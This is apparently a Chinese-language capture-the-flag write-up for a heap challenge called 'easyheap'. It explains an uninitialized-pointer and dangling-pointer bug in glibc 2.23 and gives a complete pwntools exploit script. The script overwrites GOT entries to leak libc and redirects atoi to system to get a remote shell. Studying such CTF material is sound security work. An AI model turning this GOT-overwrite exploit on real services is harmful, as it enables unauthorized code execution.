easyheap

首先,檢查一下程序的保護機制,發現沒開PIE,且got表可寫
在這裏插入圖片描述
然後,我們用IDA分析一下,發現沒有show功能
在這裏插入圖片描述出現了很多sub_4008F1()函數我們一個個點開看一下,發現最後一個是創建,爲了便於分析我們可以改成add(n)
在這裏插入圖片描述可以看出創建節點功能裏,存在ptr[i]堆內容未初始化的漏洞經過分析,節點的結構體如下

struct Obj{
    char *Data;
    int Size;
}

這裏有個地方比較有趣,只能允許3個結構同時存在,還有輸入的大小如果超過1024,操作就會在分配Obj結構之後停止。乍一看,問題好像不大,沒啥不對勁的。
再來看看別處,刪除操作
在這裏插入圖片描述

在這裏插入圖片描述很明顯,釋放Obj的時候,沒有將Obj的Data指針置空。結合添加操作裏面的代碼,我設想一種情況:正常分配兩個Obj0 和Obj1,其Data 域大小爲0x60(合法就行)。釋放Obj0 ,Obj1,此時fastbins 的情況是Obj1->Obj0, Obj1->Data->Obj0->Data。

然後再添加兩個Obj,故意將Data域的大小設置爲非法,這樣就能成功保留下Obj1->Data,後面就可以利用了。

可見Obj1->Data 指向了Obj0 的堆頭,並且釋放Obj 的時候Size 並沒有置零。因此,接下來我只要添加兩個非法大小的Obj->Data,就能夠將Obj0->Data 指向任意地址,也就能任意地址寫了。
本程序沒有輸出操作,所以首先考慮將free_got 修改爲puts_plt,然後添加一個合法的Obj3,釋放 Obj3,就能泄露堆地址。
然後再添加一個Obj,他仍然是之前的Obj3。編輯Obj0->Data,將Obj1->Data修改爲Obj3 的地址。編輯Obj1->Data,將Obj3->Data 修改成Obj3->puts_got。釋放Obj3,就能泄露出puts_got 內存,計算偏移得到libc_base 。
用同樣的方法將malloc_got 修改爲one_gadget ,當進行添加操作時就能夠getshell 了。

如果我們輸入的size大於1024,obj結構體內容就不會初始化。然後,本題glibc版本爲2.23,所以存在fastbin機制,如果未初始化的obj節點的data正好指向了下一個空閒堆,並且下一次創建新節點時,那個大小0x10的空閒堆被作爲另一個obj節點的空間,那麼,我們就能通過edit,來控制下一個obj的data指針,達到任意地址讀寫的功能爲了泄露地址,我們利用任意地址讀寫,修改free的got表爲puts的plt表地址,然後free堆時,就會泄露堆裏面的內容,得到glibc地址,計算出需要的函數的地址。接下來,同樣利用任意地址讀寫,改寫atoi的got表爲system地址,然後輸入/bin/sh即可getshell。完整的exp.py

#coding:utf8
from pwn import *

#sh = process('./easyheap')
sh = remote('121.36.209.145',9997)
elf = ELF('./easyheap')
libc = ELF('./libc.so.6')
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()

atoi_got = elf.got['atoi']
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400c63
#context.log_level = 'debug'


def create(size,content):
  sh.sendlineafter('Your choice:','1')
  sh.sendlineafter('How long is this message?',str(size))
  sh.sendafter('What is the content of the message?',content)

def createNoContent():
  sh.sendlineafter('Your choice:','1')
  sh.sendlineafter('How long is this message?','2048')

def delete(index):
  sh.sendlineafter('Your choice:','2')
  sh.sendlineafter('deleted?',str(index))

def edit(index,content):
  sh.sendlineafter('Your choice:','3')
  sh.sendlineafter('modified?',str(index))
  sh.sendafter('message?',content)

#申請0x18大小的堆
create(0x18,'a'*0x18)
delete(0)
#未初始化漏洞
createNoContent()
#1的節點在0的content位置
create(0x18,'b'*0x18);
delete(1)
createNoContent()
create(0x18,'c'*0x18);

#修改節點2的content指針,執行free_got
edit(1,'c'*0x10 + p64(free_got))
#修改free的got表爲puts
edit(2,p64(puts_plt))
#修改節點2的content指針,指向puts_got
edit(1,'c'*0x10 + p64(puts_got))

delete(2)
sh.recvuntil('\n')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'puts_addr=',hex(puts_addr)
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'system_adrr=',hex(system_addr)

#修改節點1的content指針,指向atoi_got
edit(0,'c'*0x10 + p64(atoi_got))
#修改atoi的got表爲system
edit(1,p64(system_addr))
#getshell
sh.sendlineafter('Your choice:','/bin/sh')
sh.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章